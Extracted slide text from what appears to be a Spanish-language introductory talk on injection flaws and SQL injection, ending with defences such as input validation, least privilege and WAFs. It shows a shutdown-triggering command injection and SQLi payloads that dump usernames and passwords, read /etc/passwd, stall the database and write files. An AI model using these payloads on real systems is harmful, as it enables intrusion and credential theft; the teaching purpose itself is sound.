15. Fallo de inyección
Un interprete ejecuta
una instrucción enviada
por la aplicación.
La aplicación forma la
instrucción con entradas
del usuario.
El usuario envía
entradas especialmente
diseñadas para alterar el
significado de la
instrucción
16. Por ejemplo:
PROGRAMA : system(“ls $dir”);
ENTRADA : $dir
INTERPRETE : /bin/bash
$dir = “images”
Instrucción: $ ls images
Hacer un listado del directorio “images”
$dir = “images && halt”
Instrucción: $ ls images && halt
Hacer un listado del directorio “images” y
luego apagar el sistema.
17. Lenguaje SQL
Structured Query Language
(lenguaje de consulta
estructurado)
Permite realizar diversas
operaciones sobre bases de
datos relacionales.
Es interpretado por el DBMS.
Existen dialectos específicos
para cada DBMS.
18. Ejemplos de SQL
SELECT email FROM users;
webmaster@example.com
invitado@example.com
pepito@hotmail.com
SELECT username,password FROM users WHERE
type=1;
admin 123456
19. SQLi = Injection + SQL
INTERPRETE : DBMS Error de validación de
LENGUAJE : SQL entradas.
Permite alterar las
consultas SQL.
No es un error del
DBMS.
No es exclusivo de
aplicaciones web.
22. Arquitectura
SERVIDOR
HTTP
INTERNET
CLIENTE SQL
BASE DE DATOS
23. User: pepito
http://example.com/news.php?id=23
/* news.php */
...
$id = $_GET['id'];
$query = "SELECT * FROM news WHERE id=$id";
...
SELECT * FROM news WHERE id=23
24. User: Z3r0C001-H@...
http://example.com/news.php?id=23 OR 1=1
/* news.php */
...
$id = $_GET['id'];
$query = "SELECT * FROM news WHERE id=$id";
...
SELECT * FROM news WHERE id=23 OR 1=1
27. UNION SELECT
http://example.com/news.php?id=23 AND
1=0 UNION SELECT username,password
FROM users
SELECT * FROM news WHERE id=23 AND
1=0 UNION SELECT username,password
FROM users
30. LOAD_FILE()
http://example.com/news.php?id=23 AND
1=0 UNION SELECT
1,load_file('/etc/passwd') FROM users
SELECT * FROM news WHERE id=23 AND
1=0 UNION SELECT
1,load_file('/etc/passwd') FROM users
34. BENCHMARK()
http://example.com/news.php?id=23 AND 0 =
BENCHMARK(999999999999,SHA(RAND()))
SELECT * FROM news WHERE id=23 AND 0 =
BENCHMARK(999999999999,SHA(RAND()))
37. OUTFILE / DUMPFILE
http://example.com/news.php?id=23 AND 0 =
1 UNION SELECT '','Hello World!' INTO
OUTFILE '/tmp/hello.txt'
SELECT * FROM news WHERE id=23 AND 0 =
1 UNION SELECT '','Hello World!' INTO
OUTFILE '/tmp/hello.txt'
49. Validación de entradas
- Expresiones regulares
- Validación de tipo
- Escapar caracteres
especiales
- Librerías de seguridad
ESAPI
No solo JavaScript
51. Permisos de Acceso
- Las aplicaciones no
necesitan la cuenta de
administrador.
- GRANT ALL PRIV... ¿Es
necesario?
- Aplicaciones diferentes,
usuarios diferentes
52. IDS, IPS, WAF, etc...
- Sistemas de detección y
prevención de intrusos.
(Snort)
- Web Application Firewall.
(mod_security)
- Reescritura de solicitudes
HTTP. (mod_rewrite)
- Basados en patrones.
- No 100% confiables.
53. Gracias por participar
muy pronto estamos en provincias
para más información ingresa a nuestra web
En el 2012 mucho más de nosotros…
http://alguienenlafisi.blogspot.com